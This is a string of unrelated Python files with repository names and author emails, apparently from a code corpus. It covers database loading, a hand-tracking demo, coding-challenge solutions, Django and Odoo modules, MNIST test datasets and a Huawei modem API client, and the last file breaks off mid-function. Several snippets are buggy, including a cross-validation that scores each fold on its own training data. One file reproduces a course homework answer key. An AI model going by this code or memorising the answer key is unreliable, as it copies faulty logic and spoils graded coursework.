@author: Shubham Sachdeva class ObjectListIterator(ListIterator): def info(self): obj = self.get() if obj == None: return "None" return "Current Object: " + ("%d\t%s\t%s\t%s\t%s" % (self.id, self.geo, self.guid, self.category, self.commodity)) # @author: Shubham Sachdeva class Product: # initialisation def __init__(self, geo, guid, category, commodity): self.id = 0 self.geo = geo self.guid = guid self.category = category self.commodity = commodity # for print def __str__(self): return ("%d\t%s\t%s\t%s\t%s" % (self.id, self.geo, self.guid, self.category, self.commodity)) # reads 4 fields from given file # @author: Shubham Sachdeva def read_csv(file_name): lst = [] try: with open(file_name, newline='', encoding='utf-8') as csvfile: reader = csv.DictReader(csvfile) for row in reader: product = Product(row['GEO'], row['DGUID'], row['Food categories'], row['Commodity']) print (product) lst.append(product) except: print ('read_csv failed') return lst # @author: Shubham Sachdeva def main(): lst = read_csv('input.csv') n = len(lst) db = Database() db.select_table('products') for item in lst: db.create(item) print ("Created " + str(len(lst)) + " items"); print("Programmed by " + CONST_AUTHOR) if __name__ == '__main__': print (CONST_AUTHOR) main()

[ "sergejyurskyj@yahoo.com" ]

sergejyurskyj@yahoo.com

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/hand_tracking/index.py

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GustavoCunhaLacerda/area51

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2023-08-28T08:19:04.133839

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# from hand_tracking_module import HandDetector import hand_tracking_module as htm import mediapipe as mp import cv2 import os import math def load_images_from_folder(folder): images = [] for filename in os.listdir(folder): img = cv2.imread(os.path.join(folder, filename)) if img is not None: images.append(img) return images def resize(img, DESIRED_HEIGHT=480, DESIRED_WIDTH=480): h, w = img.shape[:2] if h < w: return cv2.resize(img, (DESIRED_WIDTH, math.floor(h/(w/DESIRED_WIDTH)))) else: return cv2.resize(img, (math.floor(w/(h/DESIRED_HEIGHT)), DESIRED_HEIGHT)) def main(): images = load_images_from_folder('./hands') detector = htm.HandDetector(mode=True) print(detector) id = 0 for img in images: cv2.imshow(f"Image {id}", detector.findHands(resize(img))) id += 1 index = 2 cv2.imshow(f"Image {id}", detector.findHands(resize(images[index]))) cv2.waitKey(0) if __name__ == "__main__": main()

[ "gustavocunhalacerda@gmail.com" ]

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NootNootow/ML_Algo_projects

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class Solution: def reverseVowels(self, s: str) -> str: if not s: return "" s = list(s) vowels = set(['a','A','e','E','i','I','o','O','u','U']) i,j =0,len(s)-1 while i < j: while i < j and s[i] not in vowels: i+=1 while j > i and s[j] not in vowels: j-=1 s[i],s[j]=s[j],s[i] i+=1 j-=1 return ''.join(s)

[ "aniruddh20.sxn@gmail.com" ]

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/MLF/hw4.py

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permissive

LeoTsui/ML_NTU

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#!user/bin/env python3 # _*_ coding: utf-8 _*_ """ Question 13 Experiment with Regularized Linear Regression and Validation Consider regularized linear regression (also called ridge regression) for classification. wreg=argminwλN∥w∥2+1N∥Xw−y∥2, Run the algorithm on the following data set as D https://d396qusza40orc.cloudfront.net/ntumlone%2Fhw4%2Fhw4_train.dat and the following set for evaulating Eout https://d396qusza40orc.cloudfront.net/ntumlone%2Fhw4%2Fhw4_test.dat Because the data sets are for classification, please consider only the 0/1 error for all the problems below. Let λ=10, which of the followings is the corresponding Ein and Eout? Ein=0.050, Eout=0.045 Question 14 Among log10λ={2,1,0,−1,…,−8,−9,−10}. What is the λ with the minimum Ein? Compute λ and its corresponding Ein and Eout then select the closest answer. Break the tie by selecting the largest λ log10λ=−8,Ein=0.015,Eout=0.020 Question 15 Among log10λ={2,1,0,−1,…,−8,−9,−10}. What is the λ with the minimum Eout? Compute λ and the corresponding Ein and Eout then select the closest answer. Break the tie by selecting the largest λ. log10λ=−7,Ein=0.030,Eout=0.015 Question 16 Now split the given training examples in D to the first 120 examples for Dtrain and 80 for Dval. Ideally, you should randomly do the 120/80 split. Because the given examples are already randomly permuted, however, we would use a fixed split for the purpose of this problem. Run the algorithm on Dtrain to get g−λ, and validate g−λ with Dval. Among log10λ={2,1,0,−1,…,−8,−9,−10}. What is the λ with the minimum Etrain(g−λ)? Compute λ and the corresponding Etrain(g−λ), Eval(g−λ) and Eout(g−λ) then select the closet answer. Break the tie by selecting the largest λ. log10λ=−8,Etrain(g−λ)=0.000,Eval(g−λ)=0.050,Eout(g−λ)=0.025 Question 17 Among log10λ={2,1,0,−1,…,−8,−9,−10}. What is the λ with the minimum Eval(g−λ)? Compute λ and the corresponding Etrain(g−λ), Eval(g−λ) and Eout(g−λ) then select the closet answer. Break the tie by selecting the largest λ. log10λ=0,Etrain(g−λ)=0.033,Eval(g−λ)=0.038,Eout(g−λ)=0.028 Question 18 Run the algorithm with the optimal λ of the previous problem on the whole D to get gλ. Compute Ein(gλ) and Eout(gλ) then select the closet answer. Ein(gλ)=0.035,Eout(gλ)=0.020 Question 19 Now split the given training examples in D to five folds, the first 40 being fold 1, the next 40 being fold 2, and so on. Again, we take a fixed split because the given examples are already randomly permuted. Among log10λ={2,1,0,−1,…,−8,−9,−10}. What is the λ with the minimum Ecv, where Ecv comes from the five folds defined above? Compute λ and the corresponding Ecv then select the closet answer. Break the tie by selecting the largest λ. log10λ=−8,Ecv=0.030 Question 20 Run the algorithm with the optimal λ of the previous problem on the whole D to get gλ. Compute Ein(gλ) and Eout(gλ) then select the closet answer. Ein(gλ)=0.015,Eout(gλ)=0.020 """ import time import numpy as np def ridge_reg(x, y, lmd): z = np.linalg.inv(np.dot(x.transpose(), x) + lmd * np.eye(x.shape[1])) return np.dot(np.dot(z, x.transpose()), y) def err_01(x, y, w): return np.sign(np.dot(x, w)) != y def err_func(x, y, w, n): e = 0 for i in range(n): if err_01(x[i], y[i], w): e += 1 return e / n def read_file(f): x_d = [] y_d = [] with open(f, 'r') as d: for line in d: l = line.split() x = [1.0] + [float(v) for v in l[: -1]] x_d.append(x) y_d.append(int(l[-1])) return np.array(x_d), np.array(y_d), len(y_d) def quiz13(lmd=10): x_in, y_in, n_in = read_file("hw4_train.dat") x_out, y_out, n_out = read_file("hw4_test.dat") w_reg = np.array(ridge_reg(x_in, y_in, lmd)).flatten() e_in = err_func(x_in, y_in, w_reg, n_in) e_out = err_func(x_out, y_out, w_reg, n_out) return e_in, e_out def quiz14(): x_in, y_in, n_in = read_file("hw4_train.dat") x_out, y_out, n_out = read_file("hw4_test.dat") best_e_in = float("inf") best_lmd = 0 w = 0 for lmd in range(2, -11, -1): w_reg = np.array(ridge_reg(x_in, y_in, pow(10, lmd))).flatten() e_in = err_func(x_in, y_in, w_reg, n_in) if e_in < best_e_in: best_e_in = e_in w = w_reg best_lmd = lmd e_out = err_func(x_out, y_out, w, n_out) return best_lmd, best_e_in, e_out def quiz15(): x_in, y_in, n_in = read_file("hw4_train.dat") x_out, y_out, n_out = read_file("hw4_test.dat") best_e_out = float("inf") best_lmd = 0 w = 0 for lmd in range(2, -11, -1): w_reg = np.array(ridge_reg(x_in, y_in, pow(10, lmd))).flatten() e_out = err_func(x_out, y_out, w_reg, n_out) if e_out < best_e_out: best_e_out = e_out w = w_reg best_lmd = lmd e_in = err_func(x_in, y_in, w, n_in) return best_lmd, e_in, best_e_out def quiz16(): x_in, y_in, n_in = read_file("hw4_train.dat") x_out, y_out, n_out = read_file("hw4_test.dat") n_train = 120 n_val = 80 x_train = x_in[:120] y_train = y_in[:120] x_val = x_in[120:] y_val = y_in[120:] best_e_train = float("inf") best_lmd = 0 w = 0 for lmd in range(2, -11, -1): w_reg = np.array(ridge_reg(x_train, y_train, pow(10, lmd))).flatten() e_train = err_func(x_train, y_train, w_reg, n_train) if e_train < best_e_train: best_e_train = e_train w = w_reg best_lmd = lmd e_out = err_func(x_out, y_out, w, n_out) e_val = err_func(x_val, y_val, w, n_val) return best_lmd, best_e_train, e_val, e_out def quiz17(): x_in, y_in, n_in = read_file("hw4_train.dat") x_out, y_out, n_out = read_file("hw4_test.dat") n_train = 120 n_val = 80 x_train = x_in[:n_train] y_train = y_in[:n_train] x_val = x_in[120:] y_val = y_in[120:] best_e_val = float("inf") best_lmd = 0 w = 0 for lmd in range(2, -11, -1): w_reg = np.array(ridge_reg(x_train, y_train, pow(10, lmd))).flatten() e_val = err_func(x_val, y_val, w_reg, n_val) if e_val < best_e_val: best_e_val = e_val w = w_reg best_lmd = lmd e_train = err_func(x_train, y_train, w, n_train) e_out = err_func(x_out, y_out, w, n_out) return best_lmd, e_train, best_e_val, e_out def quiz18(): x_in, y_in, n_in = read_file("hw4_train.dat") x_out, y_out, n_out = read_file("hw4_test.dat") n_train = 120 n_val = 80 x_train = x_in[:n_train] y_train = y_in[:n_train] x_val = x_in[120:] y_val = y_in[120:] best_e_val = float("inf") best_lmd = 0 for lmd in range(2, -11, -1): w_reg = np.array(ridge_reg(x_train, y_train, pow(10, lmd))).flatten() e_val = err_func(x_val, y_val, w_reg, n_val) if e_val < best_e_val: best_e_val = e_val best_lmd = lmd return quiz13(pow(10, best_lmd)) def quiz1920(split=40): x_in, y_in, n_in = read_file("hw4_train.dat") x_out, y_out, n_out = read_file("hw4_test.dat") n_cv = split best_e_cv = float("inf") best_lmd = 0 for lmd in range(2, -11, -1): e_cv = 0 for i in range(int(n_in / n_cv)): x_cv = x_in[n_cv * i: n_cv * (i + 1)] y_cv = y_in[n_cv * i: n_cv * (i + 1)] w_reg = np.array(ridge_reg(x_cv, y_cv, pow(10, lmd))).flatten() e_cv += err_func(x_cv, y_cv, w_reg, n_cv) print(lmd, e_cv) if e_cv < best_e_cv: best_e_cv = e_cv best_lmd = lmd w = np.array(ridge_reg(x_in, y_in, pow(10, best_lmd))).flatten() e_in = err_func(x_in, y_in, w, n_in) e_out = err_func(x_out, y_out, w, n_out) return best_lmd, best_e_cv, e_in, e_out def main(): np.random.seed() start_time = time.time() # print("q13: \n", quiz13()) # print("q14: \n", quiz14()) # print("q15: \n", quiz15()) # print("q16: \n", quiz16()) # print("q17: \n", quiz17()) # print("q18: \n", quiz18()) print("q19: \n", quiz1920()) print("Taken total %f seconds" % (time.time() - start_time)) if __name__ == "__main__": main()

[ "snagletsui@gmail.com" ]

snagletsui@gmail.com

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/transcripton.py

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[]

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ACollectionOfAtoms/rosalind

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refs/heads/master

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2015-04-19T14:47:54

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def revc(): dna = open('rosalind_dna.txt' , 'r') strand = '' revc = '' for line in dna: strand += line.strip() for item in strand: if item == 'A': revc += 'T' if item == 'T': revc += 'A' if item == 'C': revc += 'G' if item == 'G': revc += 'C' print revc[::-1] revc()

[ "hernandezdavid88@utexas.edu" ]

hernandezdavid88@utexas.edu

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/private/gen_table_xp.py

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footballhead/zardwars-revival

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2021-01-10T11:45:35.755002

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#!/usr/bin/env python import sys def main(): print("<table><tbody>") print("<tr><th>LEVEL</th><th>EXP NEEDED</th></tr>") memo = {} memo[1] = 100.0 print(f"<tr><td>1</td><td>{int(memo[1])}</td></tr>") for lvl in range(2, 111): memo[lvl] = memo[lvl-1] * 1.1 if memo[lvl] > 2000000: memo[lvl] = 2000000 print(f"<tr><td>{lvl}</td><td>{int(memo[lvl])}</td></tr>") print("</tbody></table>") return 0 if __name__ == '__main__': sys.exit(main())

[ "mdhitchens@gmail.com" ]

mdhitchens@gmail.com

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[]

no_license

daniel-reich/turbo-robot

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""" In this challenge, you must verify the equality of two different values given the parameters `a` and `b`. Both the _value_ and _type_ of the parameters need to be equal. The possible types of the given parameters are: * Numbers * Strings * Booleans (`False` or `True`) * Special values: `None` What have you learned so far that will permit you to do two different checks (value **and** type) with a single statement? Implement a function that returns `True` if the parameters are equal, and `False` if they are not. ### Examples check_equality(1, true) ➞ False # A number and a boolean: the value and type are different. check_equality(0, "0") ➞ False # A number and a string: the type is different. check_equality(1, 1) ➞ True # A number and a number: the type and value are equal. ### Notes * If you get stuck on a challenge, find help in the **Resources** tab. * If you're _really_ stuck, unlock solutions in the **Solutions** tab. """ def check_equality(a, b): return True if a is b else False

[ "daniel.reich@danielreichs-MacBook-Pro.local" ]

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/website_sale_delivery_dhub/__manifest__.py

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vidtsin/psbe-digitalhub-v12

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# -*- coding: utf-8 -*- { 'name': "website_sale_delivery_dhub", 'summary': "", 'description': """ DHub's eCommerce Customizations =============================== """, 'author': "Odoo SA", 'website': "http://www.odoo.com", 'category': 'Website', 'version': '1.0', 'depends': ['website_sale_delivery', 'tax_margin'], 'auto_install': True }

[ "herve_delvaux@htomail.com" ]

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/Python_codes/p03060/s273862278.py

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no_license

Aasthaengg/IBMdataset

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2023-04-22T10:22:44.763102

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import sys import math import bisect def main(): n = int(input()) A = list(map(int, input().split())) B = list(map(int, input().split())) for i in range(n): A[i] -= B[i] ans = 0 for a in A: if a > 0: ans += a print(ans) if __name__ == "__main__": main()

[ "66529651+Aastha2104@users.noreply.github.com" ]

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LabNeuroCogDevel/precise_eye_tracking

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#Now it's time to plot the data for a better insight import matplotlib.pyplot as plt import numpy as np def plotting(dic): #Because it is a list that passed in, get the first one dic = data_format(dic) fig = plt.figure() ax1 = fig.add_subplot(111) print(dic) y_s_center = np.asarray(dic['s_center'])[:, 0] x_s_center = np.asarray(create_x(len(y_s_center))) print(x_s_center.size) print(y_s_center.size) y_s_loc = np.asarray(dic['s_loc'])[:, 0] x_s_loc = np.asarray(create_x(len(y_s_loc))) y_h_center = np.asarray(dic['h_center'])[:, 0] x_h_center = np.asarray(create_x(len(y_h_center))) y_h_loc = np.asarray(dic['h_loc'])[:, 0] x_h_loc = np.asarray(create_x(len(y_h_loc))) ax1.scatter(x_s_center, y_s_center, marker = 'd', c='b', label='first') ax1.scatter(x_s_loc, y_s_loc, marker = 'o', c='r', label='second') ax1.scatter(x_h_center, y_h_center, marker = 'x', c='g', label='thrid') ax1.scatter(x_h_loc, y_h_loc, marker = 'v', c='y', label='forth') #Format the data first def data_format(dic): new_dic = {} new_dic['s_center'] = [] new_dic['s_loc'] = [] new_dic['h_center'] = [] new_dic['h_loc'] = [] dic = dic[0] for i in dic: for j in dic[i]: if abs(j[0][0] - j[1][0]) < 30: new_dic[i].append(j[0]) def create_x(length): li = [] for i in range(0, length): li.append(i) return li

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# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging import os import random import time import urllib.request from typing import Tuple, Optional, Sequence import torch from torch import Tensor from torch.utils.data import Dataset from tests import PACKAGE_ROOT #: local path to test datasets PATH_DATASETS = os.path.join(PACKAGE_ROOT, 'Datasets') class MNIST(Dataset): """ Customized `MNIST <http://yann.lecun.com/exdb/mnist/>`_ dataset for testing Pytorch Lightning without the torchvision dependency. Part of the code was copied from https://github.com/pytorch/vision/blob/build/v0.5.0/torchvision/datasets/mnist.py Args: root: Root directory of dataset where ``MNIST/processed/training.pt`` and ``MNIST/processed/test.pt`` exist. train: If ``True``, creates dataset from ``training.pt``, otherwise from ``test.pt``. normalize: mean and std deviation of the MNIST dataset. download: If true, downloads the dataset from the internet and puts it in root directory. If dataset is already downloaded, it is not downloaded again. Examples: >>> dataset = MNIST(download=True) >>> len(dataset) 60000 >>> torch.bincount(dataset.targets) tensor([5923, 6742, 5958, 6131, 5842, 5421, 5918, 6265, 5851, 5949]) """ RESOURCES = ( "https://pl-public-data.s3.amazonaws.com/MNIST/processed/training.pt", "https://pl-public-data.s3.amazonaws.com/MNIST/processed/test.pt", ) TRAIN_FILE_NAME = 'training.pt' TEST_FILE_NAME = 'test.pt' cache_folder_name = 'complete' def __init__(self, root: str = PATH_DATASETS, train: bool = True, normalize: tuple = (0.5, 1.0), download: bool = True): super().__init__() self.root = root self.train = train # training set or test set self.normalize = normalize self.prepare_data(download) if not self._check_exists(self.cached_folder_path): raise RuntimeError('Dataset not found.') data_file = self.TRAIN_FILE_NAME if self.train else self.TEST_FILE_NAME self.data, self.targets = _try_load(os.path.join(self.cached_folder_path, data_file)) def __getitem__(self, idx: int) -> Tuple[Tensor, int]: img = self.data[idx].float().unsqueeze(0) target = int(self.targets[idx]) if self.normalize is not None: img = normalize_tensor(img, mean=self.normalize[0], std=self.normalize[1]) return img, target def __len__(self) -> int: return len(self.data) @property def cached_folder_path(self) -> str: return os.path.join(self.root, 'MNIST', self.cache_folder_name) def _check_exists(self, data_folder: str) -> bool: existing = True for fname in (self.TRAIN_FILE_NAME, self.TEST_FILE_NAME): existing = existing and os.path.isfile(os.path.join(data_folder, fname)) return existing def prepare_data(self, download: bool): if download: self._download(self.cached_folder_path) def _download(self, data_folder: str) -> None: """Download the MNIST data if it doesn't exist in cached_folder_path already.""" if self._check_exists(data_folder): return os.makedirs(data_folder, exist_ok=True) for url in self.RESOURCES: logging.info(f'Downloading {url}') fpath = os.path.join(data_folder, os.path.basename(url)) urllib.request.urlretrieve(url, fpath) def _try_load(path_data, trials: int = 30, delta: float = 1.): """Resolving loading from the same time from multiple concurrentprocesses.""" res, exp = None, None assert trials, "at least some trial has to be set" assert os.path.isfile(path_data), 'missing file: %s' % path_data for _ in range(trials): try: res = torch.load(path_data) except Exception as ex: exp = ex time.sleep(delta * random.random()) else: break else: # raise the caught exception if any if exp: raise exp return res def normalize_tensor(tensor: Tensor, mean: float = 0.0, std: float = 1.0) -> Tensor: tensor = tensor.clone() mean = torch.as_tensor(mean, dtype=tensor.dtype, device=tensor.device) std = torch.as_tensor(std, dtype=tensor.dtype, device=tensor.device) tensor.sub_(mean).div_(std) return tensor class TrialMNIST(MNIST): """Constrain image dataset Args: root: Root directory of dataset where ``MNIST/processed/training.pt`` and ``MNIST/processed/test.pt`` exist. train: If ``True``, creates dataset from ``training.pt``, otherwise from ``test.pt``. normalize: mean and std deviation of the MNIST dataset. download: If true, downloads the dataset from the internet and puts it in root directory. If dataset is already downloaded, it is not downloaded again. num_samples: number of examples per selected class/digit digits: list selected MNIST digits/classes Examples: >>> dataset = TrialMNIST(download=True) >>> len(dataset) 300 >>> sorted(set([d.item() for d in dataset.targets])) [0, 1, 2] >>> torch.bincount(dataset.targets) tensor([100, 100, 100]) """ def __init__( self, root: str = PATH_DATASETS, train: bool = True, normalize: tuple = (0.5, 1.0), download: bool = False, num_samples: int = 100, digits: Optional[Sequence] = (0, 1, 2), ): # number of examples per class self.num_samples = num_samples # take just a subset of MNIST dataset self.digits = digits if digits else list(range(10)) self.cache_folder_name = 'digits-' + '-'.join(str(d) for d in sorted(self.digits)) \ + f'_nb-{self.num_samples}' super().__init__( root, train=train, normalize=normalize, download=download ) @staticmethod def _prepare_subset(full_data: torch.Tensor, full_targets: torch.Tensor, num_samples: int, digits: Sequence): classes = {d: 0 for d in digits} indexes = [] for idx, target in enumerate(full_targets): label = target.item() if classes.get(label, float('inf')) >= num_samples: continue indexes.append(idx) classes[label] += 1 if all(classes[k] >= num_samples for k in classes): break data = full_data[indexes] targets = full_targets[indexes] return data, targets def prepare_data(self, download: bool) -> None: if self._check_exists(self.cached_folder_path): return if download: self._download(super().cached_folder_path) for fname in (self.TRAIN_FILE_NAME, self.TEST_FILE_NAME): path_fname = os.path.join(super().cached_folder_path, fname) assert os.path.isfile(path_fname), 'Missing cached file: %s' % path_fname data, targets = _try_load(path_fname) data, targets = self._prepare_subset(data, targets, self.num_samples, self.digits) torch.save((data, targets), os.path.join(self.cached_folder_path, fname)) class AverageDataset(Dataset): def __init__(self, dataset_len=300, sequence_len=100): self.dataset_len = dataset_len self.sequence_len = sequence_len self.input_seq = torch.randn(dataset_len, sequence_len, 10) top, bottom = self.input_seq.chunk(2, -1) self.output_seq = top + bottom.roll(shifts=1, dims=-1) def __len__(self): return self.dataset_len def __getitem__(self, item): return self.input_seq[item], self.output_seq[item]

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class Node: def __init__(self, data): self.data = data self.next = None class Queue: def __init__(self): self.first = None self.last = None def add(self, node): #If list was empty, then we set first and last to this new node added if self.first == None: self.first = node self.last = node return node.next = self.last self.last = node def remove(self): if self.first is None: #Queue is empty raise TypeError if self.first == self.last: #Queue has 1 element self.first = None self.last = None return #If Queue has >=2 elements, we traverse the queue starting from last until we find second to element and update current = self.last while current.next != self.first: current = current.next #Here current points to the second element of the Queue current.next = None self.first = current def peek(self): if self.first is None: raise TypeError return self.first.data def isEmpty(self): return self.first is None #Last element of the queue is on the left and first element is on the right "a->b->c" def print(self): if self.first is None: print("Empty Queue") return current = self.last queueStr = "" while current.next != None: queueStr += str(current.data) + "->" current = current.next queueStr += str(current.data) print(queueStr) # stuff to run always here such as class/def def testQueue(): #Tests #1. We create an empty Queue: node1 = Node(5) node2 = Node(3) node3 = Node(2) #We create the Queue Top: 2->3->5 queue = Queue() queue.add(node1) queue.add(node2) queue.add(node3) queue.print() #2->3->5 print(queue.peek()) #Print 5 queue.remove() #We delete 5 print(queue.peek()) #Print 3 queue.print() #Print Top: 2->3 print(queue.isEmpty()) #Print False queue.remove() queue.remove() print(queue.isEmpty()) #Print True queue.print() #Empty queue if __name__ == "__main__": # stuff only to run when not called via 'import' here testQueue()

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# Generated by Django 3.0.8 on 2020-08-10 14:08 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('maintenance', '0001_initial'), ('tienda', '0001_initial'), ] operations = [ migrations.CreateModel( name='cuotas', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('pricio', models.IntegerField()), ], ), migrations.AddField( model_name='tienda', name='cliente', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='maintenance.cliente'), ), migrations.AddField( model_name='tienda', name='cuotas', field=models.ManyToManyField(to='tienda.cuotas'), ), ]

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/huawei_interface.py

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import requests import xmltodict from time import sleep import global_vars from yaml_config import config import logging import colorlog logger = colorlog.getLogger(__name__) logger.addHandler(global_vars.file_handler) logger.addHandler(global_vars.handler) logger.setLevel(global_vars.log_level) def get_auth_data(): token_info_api_url="http://" + config['huawei']['dongle_ip'] + "/api/webserver/SesTokInfo" try: token_resp = requests.get(token_info_api_url) if "SessionID" in token_resp.text: token=xmltodict.parse(token_resp.content)['response'] token_secret=token["TokInfo"] session_id=token["SesInfo"] auth_data = { "session_id": session_id, "token_secret": token_secret } return auth_data else: logger.error("Modem auth data request failed: " + token_resp.text) return False except Exception as e: logger.error("Modem auth data request failed: " + str(e)) def construct_auth_headers(auth_data): headers = {"Content-Type": "text/xml; charset=UTF-8", "Cookie": auth_data['session_id'], "__RequestVerificationToken": auth_data['token_secret']} return headers def send_connection_req(): req_connection_api_url="http://" + config['huawei']['dongle_ip'] + "/api/dialup/dial" connection_req_xml = '<?xml version="1.0" encoding="UTF-8"?><request><Action>1</Action></request>' try: logger.warning("Sending connection request to modem") auth_data=get_auth_data() if auth_data: headers = construct_auth_headers(auth_data) post_req = requests.post(req_connection_api_url, headers=headers, data=connection_req_xml) if "OK" in post_req.text: logger.warning("Connection request made OK!") return True else: logger.error("Modem connection request failed: " + post_req.text) return False except Exception as e: logger.error("Modem connection request failed: " + str(e)) def send_reboot_req(): req_reboot_api_url="http://" + config['huawei']['dongle_ip'] + "/api/device/control" reboot_req_xml = '<?xml version="1.0" encoding="UTF-8"?><request><Control>1</Control></request>' try: logger.warning("Sending reboot request to modem") auth_data=get_auth_data() if auth_data: headers = construct_auth_headers(auth_data) post_req = requests.post(req_reboot_api_url, headers=headers, data=reboot_req_xml) if "OK" in post_req.text: logger.warning("Modem rebooting!") return True else: logger.error("Modem reboot request failed: " + post_req.text) return False except Exception as e: logger.error("Modem reboot request failed: " + str(e)) def send_reset_stats(): req_clear_traffic_api_url="http://" + config['huawei']['dongle_ip'] + "/api/monitoring/clear-traffic" clear_traffic_req_xml = '<?xml version="1.0" encoding="UTF-8"?><request><ClearTraffic>1</ClearTraffic></request>' try: logger.warning("Sending traffic statis reset request to modem") auth_data=get_auth_data() if auth_data: headers = construct_auth_headers(auth_data) post_req = requests.post(req_clear_traffic_api_url, headers=headers, data=clear_traffic_req_xml) if "OK" in post_req.text: logger.warning("Traffic stats cleared!") return True else: logger.error("Traffic stats reset request failed: " + post_req.text) return False except Exception as e: logger.error("Traffic stats reset request failed: " + str(e)) def get_modem_data(): get_dev_info_api_url="http://" + config['huawei']['dongle_ip'] + "/api/device/information" get_net_name_api_url="http://" + config['huawei']['dongle_ip'] + "/api/net/current-plmn" get_mon_stat_api_url="http://" + config['huawei']['dongle_ip'] + "/api/monitoring/status" get_mon_traf_api_url="http://" + config['huawei']['dongle_ip'] + "/api/monitoring/traffic-statistics" get_mon_data_plan_api_url="http://" + config['huawei']['dongle_ip'] + "/api/monitoring/start_date" get_mon_data_stats_api_url="http://" + config['huawei']['dongle_ip'] + "/api/monitoring/month_statistics" try: auth_data=get_auth_data() if auth_data: headers = construct_auth_headers(auth_data) dev_info_resp = requests.get(get_dev_info_api_url, headers=headers) if "DeviceName" in dev_info_resp.text: dev_info = xmltodict.parse(dev_info_resp.content)['response'] global_vars.modem_data["device_name"] = dev_info["DeviceName"] else: logger.error("Modem task failed: could not retrieve " + get_dev_info_api_url) net_name_resp = requests.get(get_net_name_api_url, headers=headers) if "FullName" in net_name_resp.text: net_name = xmltodict.parse(net_name_resp.content)['response'] global_vars.modem_data["network_name"] = net_name["FullName"] else: logger.error("Modem task failed: could not retrieve " + get_net_name_api_url) mon_stat_resp = requests.get(get_mon_stat_api_url, headers=headers) if "ConnectionStatus" in mon_stat_resp.text: mon_stat = xmltodict.parse(mon_stat_resp.content)['response'] global_vars.modem_data["signal_strength"] = int(mon_stat["SignalIcon"]) global_vars.modem_data["wan_ip"] = mon_stat["WanIPAddress"] net_type_ex=int(mon_stat["CurrentNetworkTypeEx"]) if net_type_ex == 0: global_vars.modem_data["network_type"] = "No Service" elif net_type_ex == 1: global_vars.modem_data["network_type"] = "GSM" elif net_type_ex == 2: global_vars.modem_data["network_type"] = "GPRS" elif net_type_ex == 3: global_vars.modem_data["network_type"] = "EDGE" elif net_type_ex == 41: global_vars.modem_data["network_type"] = "WCDMA" elif net_type_ex == 42: global_vars.modem_data["network_type"] = "HSDPA" elif net_type_ex == 43: global_vars.modem_data["network_type"] = "HSUPA" elif net_type_ex == 44: global_vars.modem_data["network_type"] = "HSPA" elif net_type_ex == 45: global_vars.modem_data["network_type"] = "HSPA+" elif net_type_ex == 46: global_vars.modem_data["network_type"] = "HSPA+" elif net_type_ex == 62: global_vars.modem_data["network_type"] = "HSDPA" elif net_type_ex == 63: global_vars.modem_data["network_type"] = "HSUPA" elif net_type_ex == 64: global_vars.modem_data["network_type"] = "HSPA" elif net_type_ex == 65: global_vars.modem_data["network_type"] = "HSPA+" elif net_type_ex == 101: global_vars.modem_data["network_type"] = "LTE" else: global_vars.modem_data["network_type"] = "Unknown" if mon_stat["ConnectionStatus"] == "901": global_vars.modem_data["connected"] = True else: global_vars.modem_data["connected"] = False else: logger.error("Modem task failed: could not retrieve " + get_mon_stat_api_url) mon_traf_resp = requests.get(get_mon_traf_api_url, headers=headers) if "CurrentConnectTime" in mon_traf_resp.text: mon_traf = xmltodict.parse(mon_traf_resp.content)['response'] global_vars.modem_data["data_usage"]["current"]["up"] = int(mon_traf["CurrentUpload"]) global_vars.modem_data["data_usage"]["current"]["down"] = int(mon_traf["CurrentDownload"]) global_vars.modem_data["data_usage"]["current"]["rate_up"] = int(mon_traf["CurrentUploadRate"]) global_vars.modem_data["data_usage"]["current"]["rate_down"] = int(mon_traf["CurrentDownloadRate"]) global_vars.modem_data["data_usage"]["current"]["connected_time"] = int(mon_traf["CurrentConnectTime"]) global_vars.modem_data["data_usage"]["total"]["up"] = int(mon_traf["TotalUpload"]) global_vars.modem_data["data_usage"]["total"]["down"] = int(mon_traf["TotalDownload"]) global_vars.modem_data["data_usage"]["total"]["connected_time"] = int(mon_traf["TotalConnectTime"]) else: logger.error("Modem task failed: could not retrieve " + get_mon_traf_api_url) mon_data_stats_resp = requests.get(get_mon_data_stats_api_url, headers=headers) if "MonthDuration" in mon_data_stats_resp.text: mon_data_stats = xmltodict.parse(mon_data_stats_resp.content)['response'] global_vars.modem_data["data_usage"]["month"]["up"] = int(mon_data_stats["CurrentMonthUpload"]) global_vars.modem_data["data_usage"]["month"]["down"] = int(mon_data_stats["CurrentMonthDownload"]) global_vars.modem_data["data_usage"]["month"]["connected_time"] = int(mon_data_stats["MonthDuration"]) else: logger.error("Modem task failed: could not retrieve " + get_mon_data_stats_api_url) mon_data_plan_resp = requests.get(get_mon_data_plan_api_url, headers=headers) if "StartDay" in mon_data_plan_resp.text: mon_data_plan = xmltodict.parse(mon_data_plan_resp.content)['response'] global_vars.modem_data["data_usage"]["month"]["start_day"] = int(mon_data_plan["StartDay"]) global_vars.modem_data["data_usage"]["month"]["limit"] = int(mon_data_plan["trafficmaxlimit"]) else: logger.error("Modem task failed: could not retrieve " + get_mon_data_plan_api_url) except Exception as e: logger.error("Modem task failed: " + str(e)) pass def send_sms(dest,message): send_sms_api_url="http://" + config['huawei']['dongle_ip'] + "/api/sms/send-sms" try: auth_data=get_auth_data() if auth_data: headers = construct_auth_headers(auth_data) xml_data = """<?xml version='1.0' encoding='UTF-8'?> <request><Index>-1</Index><Phones><Phone>""" + dest + \ """</Phone></Phones><Sca></Sca><Content>""" + message + \ """</Content><Length>-1</Length><Reserved>1</Reserved> <Date>-1</Date></request>""" send_sms_resp = requests.post(send_sms_api_url, data=xml_data, headers=headers) if "OK" in send_sms_resp.text: logger.warning("SMS sent to " + dest) return True else: logger.error("SMS send failed: " + send_sms_resp.text) return False except Exception as e: logger.error("SMS send failed: " + str(e)) return False def net_connected(): try: if global_vars.modem_data["connected"] and global_vars.modem_data["data_usage"]["current"]["connected_time"]: return True else: return False except Exception as e: logger.error("Connection check failed: " + str(e)) return False def connection_checker(): if not net_connected(): logger.warning("Modem is not connected!") send_connection_req() pass # If this file is run directly, check and keep the lte connection alive def main(): load_config() while True: 